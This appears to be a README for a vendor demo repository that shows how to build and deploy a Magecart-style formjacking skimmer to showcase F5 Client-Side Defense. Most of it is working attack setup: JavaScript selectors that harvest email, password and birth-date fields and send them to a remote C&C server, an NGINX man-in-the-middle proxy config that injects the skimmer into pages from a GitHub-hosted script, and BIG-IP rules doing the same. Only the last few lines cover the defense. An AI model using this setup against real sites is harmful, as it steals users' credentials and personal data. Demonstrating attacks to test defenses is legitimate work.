Contents
This blog provides a formjacking code in order to understand how it works.
F5 customers are protected from magecart style attack by F5 Client-Side Defense:
- Analyse the behavior of all Javascripts executed on your website
- Alert your Cyber-SOC team if a javascript behaves like a malware and take action immediately (allow/block)
- Block malicious Javascript execution
Thanks to unit42 that did a great blog here on this topic.
- Open the web page with targeted form
- Inspect
input
elements to grab user data. Each element can be identified by anid
, aname
, atype
, etc...
<input ... id="login-credentials-form-password" name="password-uuid" type="password" ...>
- Open the file skimmer.js
- Update the first 2 or 3 lines describing
input
elements to grab user data. See examples
window["data_leak_label_email"] = ["input[id*='login-credentials-form-email']", "input[name*='email']", "input[type*='email']"]
window["data_leak_label_password"] = ["input[id*='login-credentials-form-password']", "input[name*='password']"]
window["data_leak_label_birth_date"] = ["input[id*='login-credentials-form-birthdate']", "input[name*='birthDate']"]
- Go back to the web page, inspect
button
elements when the user submit the form
<button ... type="submit" id="login-button">
- In skimmer.js, the
- The fourth line describes
button
element to watch in order to send data to remote C&C server.
window["data_leak_label_submit_button"] = ["button[id*='login-button']"]
- If the form contains more or less input fields, update
function listener_fetch_data_leak()
in order to have exactly all requiredinput
elements defined previously
data_leak = {
"email": get_element_value(window["data_leak_label_email"]),
"password": get_element_value(window["data_leak_label_password"]),
"birth_date": get_element_value(window["data_leak_label_birth_date"]),
"uagent": navigator.userAgent
}
- Run C&C server as described here
- Run a Reverse-Proxy that acts as a Man-In-The-Middle: forward all traffic to ORIGIN servers
- If DNS domain is spoofed, rewrite SNI and headers (HOST, ORIGIN and eventually others required by the App)
- Inject malware JS skimmer.js in all or specific pages
- NGINX
- See below the NGINX+ configuration for juice-shop Single Page Application:
user nginx;
worker_processes auto;
error_log /var/log/nginx/error.log info;
pid /var/run/nginx.pid;
events {
worker_connections 4096;
}
http {
log_format main '$remote_addr - $remote_user [$time_local] "$request" $status '
'$body_bytes_sent "$http_referer" "$http_user_agent" "$http_x_forwarded_for" '
'$request_time "$upstream_connect_time" "$upstream_response_time" ';
access_log /var/log/nginx/access.log main;
client_max_body_size 1000M;
server {
listen 80 default_server;
resolver 100.127.192.10; # For DNS lookup of $host;
location = / {
### Insert malicious JS link in main page
gzip on;
proxy_set_header Accept-Encoding "";
sub_filter "<head>" "<head><script async defer src='https://$host/demo/skimmer.js'></script> ";
proxy_set_header Host $host;
proxy_pass http://$host;
}
location = /demo/skimmer.js {
# Proxy GET of malicious JS to remote repo
proxy_pass https://raw.githubusercontent.com/nergalex/f5-magecart/master/example/skimmer_juiceshop.js;
proxy_hide_header Content-Type;
add_header Content-Type "application/javascript";
}
location / {
# Other traffic forwarded to origin server
proxy_set_header Host $host;
proxy_pass http://$host;
}
}
}
BIG-IP UI configuration for JS insertion:
Local Traffic ›› Profiles : Content : HTML : Rules /Common/form_grabber +-- Match settings ›› Match Tag Name: head +-- Action settings ›› HTML to Append: copy paste content of skimmer.js surrounded by <script>...</script>
Local Traffic ›› Profiles : Content : HTML : /Common/html-demo +-- HTML rules: form_grabber
Local Traffic ›› Virtual Servers ›› vs-demo +-- HTML Profile: html-demo
BIG-IP UI configuration for JS redirection:
Local Traffic ›› Profiles : Content : HTML : Rules /Common/form_grabber +-- Match settings ›› Match Tag Name: head +-- Action settings ›› HTML to Append: <script src="/magecart.js"></script>
Local Traffic ›› Profiles : Content : HTML : /Common/html-demo +-- HTML rules: form_grabber
Local Traffic ›› Virtual Servers ›› vs-demo +-- HTML Profile: html-demo
Local Traffic ›› Policies : Policy csd-magecart (see tmsh config below)
Local Traffic ›› Virtual Servers ›› vs-demo +-- HTML Profile: html-demo +-- ltm policy: csd-magecart
ltm policy csd-magecart {
rules {
redirect-to-magecart-js {
actions {
0 {
http-uri
replace
path /nergalex/f5-magecart/master/example/skimmer_website12.js
}
1 {
http-host
replace
value raw.githubusercontent.com
}
2 {
forward
select
pool raw.githubusercontent.com
}
3 {
http-header
response
replace
name Content-Type
value "application/javascript; charset=UTF-8"
}
}
conditions {
0 {
http-host
host
values { demo.com }
}
1 {
http-uri
path
values { /magecart.js }
}
}
}
default {
actions {
0 {
forward
select
pool demo.com
}
}
conditions {
0 {
http-host
host
values { demo.com }
}
}
ordinal 1
}
}
strategy first-match
}
- Enable compression on client-side / downstream-side if ORIGIN servers use compression
- Connect to F5 Distributed Cloud
- Get your Client Side Defense JS (CSD)
- Inject CSD JS as well in the web page to protect
BIG-IP UI configuration for JS insertion:
Local Traffic ›› Profiles : Content : HTML : Rules /Common/f5_csd +-- Match settings ›› Match Tag Name: head +-- Action settings ›› HTML to Append: copy paste F5 CSD JS link
Local Traffic ›› Profiles : Content : HTML : /Common/html-demo +-- HTML rules: form_grabber + f5_csd